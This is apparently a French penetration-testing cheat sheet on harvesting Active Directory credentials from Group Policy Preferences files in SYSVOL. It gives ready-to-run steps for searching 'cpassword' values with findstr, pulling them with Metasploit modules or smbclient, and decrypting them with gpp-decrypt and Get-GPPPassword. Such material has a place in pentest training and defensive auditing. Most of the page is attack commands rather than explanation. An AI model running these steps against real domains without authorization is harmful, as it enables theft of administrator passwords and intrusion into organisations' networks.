👺GPP

Group Policy Preferences

Exploitation en local

Les GPP permettent aux administrateurs de configurer et d'installer Windows et les paramètres d'application qui étaient auparavant indisponibles à l'aide des stratégies de groupe.

Ces GPP permettent notamment de stocker mais aussi de faire toutes sortes de changements de configurations sur les machines tels que:

  • Mapper les lecteurs

  • Créer des utilisateurs locaux

  • Changer les configurations d'imprimantes

  • Paramétrer des registres

  • Créer et mettre à jour des services

  • Programmer des tâches

  • Changer les mot de passes d'admin locaux

  • ...

C'est aussi de ce fait une très grande source de données pour un potentiel attaquant car celles-ci sont stockées dans SYSVOL. SYSVOL est le dossier de partage étendu au domaine dans l'Active Directory accessible à tous les utilisateurs authentifiés)

Toutes ces GPP sont donc accessible à l'emplacement:

\\<domain>\sysvol\<DOMAIN>\Policies\

Lorsqu'un nouveau GPP est créé pour un utilisateur ou un groupe de comptes, il est interrelié avec un fichier "Group.xml" dans lequel se trouve donc le mot de passe de cet utilisateur chiffré en AES-256.

La seule "difficulté" pour l'attaquant est alors de trouver ces mots de passe parmi les autres GPP ce qu'il peut facilement faire régler en recherchant le mot clés "cpassword" (dans lequel se trouve le mot de passe) dans chaque fichier ".xml" ce qu'on peut donc retranscrire simplement comme ceci dans l'invite de commande Windows.

findstr /S /I cpassword \\<DOMAIN>\sysvol\<DOMAIN>\policies\*.xml

Exploitation avec metasploit

msf > use auxiliary/scanner/smb/smb_enum_gpp
msf (scanner/smb/smb_enum_gpp) > set rhost <Target IP>
msf (scanner/smb/smb_enum_gpp) > set smbuser <username>
msf (scanner/smb/smb_enum_gpp) > set smbpass <password>
msf (scanner/smb/smb_enum_gpp) > exploit

Module de post-exploitation

msf > use post/windows/gather/credentials/gpp
msf (windows/gather/credentials/gpp) > set session 1
msf (windows/gather/credentials/gpp) > exploit

Exploitation via smbclient

smbclient //<target ip>/SYSVOL/<domain>/Policies -u <username>
smb \> ls
    .
    ..
    {EE146E8...}
    {EE146E9...}        
smb \> cd {EE146E8...}
smn \{EE146E8...}> get Group.xml

Déchiffrement

gpp-decrypt

Utilisation:

$ gpp-decrypt <password chiffré>

ressource: https://www.kali.org/tools/gpp-decrypt/

Get-GPPPassword

Utilisation:

> Get-GPPPassword

ressource: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1

Net-GPPPassword

Implémentation .NET de Get-GPPPassword. Récupère le mot de passe en clair et d'autres informations pour les comptes poussés via les préférences de stratégie de groupe.

ressource: https://github.com/outflanknl/Net-GPPPassword

Dernière mise à jour